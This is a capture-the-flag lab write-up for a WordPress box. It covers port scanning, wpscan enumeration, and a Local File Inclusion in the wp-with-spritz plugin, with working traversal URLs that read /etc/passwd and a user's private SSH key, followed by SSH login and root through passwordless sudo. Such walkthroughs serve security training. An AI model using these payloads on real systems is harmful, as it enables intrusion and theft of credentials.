> For the complete documentation index, see [llms.txt](https://psdon.gitbook.io/hackworld/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://psdon.gitbook.io/hackworld/writeup/cyberseclab/cms.md).

# CMS

## nmap

```
mkdir nmap
sudo rustscan -a 172.31.1.8 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-service-scan 
```

A web service is available on port 80

<div align="left"><img src="/files/-MjWmbiFeYPFm9xMmhAL" alt=""></div>

## Web enumeration

Looks like the website is running on WordPress

<div align="left"><img src="/files/-MjWmwRPd24QyZsr7OaM" alt=""></div>

Run `wpscan` and after a few seconds, looks like it is vulnerable to Local File Inclusion

```
wpscan --url <url> --api-token <token> | tee wpscan-root
```

<div align="left"><img src="/files/-MjWnJYr_97LUYjq707L" alt=""></div>

## Exploitation

We can use LFI to grab `/etc/passwd`

```
http://172.31.1.8/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
```

<div align="left"><img src="/files/-MjWnZTBxXayAG34d3Mf" alt=""></div>

Then grab the Private SSH Key of user `angel`

```
http://172.31.1.8/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//home/angel/.ssh/id_rsa
```

<div align="left"><img src="/files/-MjWnzeI7tP75QpytVb7" alt=""></div>

## Exploitation

Log in via SSH using the `id_rsa` file we found.

```
chmod 600 angel_id_rsa
ssh -i ./angel_id_rsa angel@172.31.1.8
```

## Privilege Escalation

We can run any `sudo` command without a password. Just run `sudo su` to log in as root.

<div align="left"><img src="/files/-MjWoizSQLuDx3eUKGHh" alt=""></div>
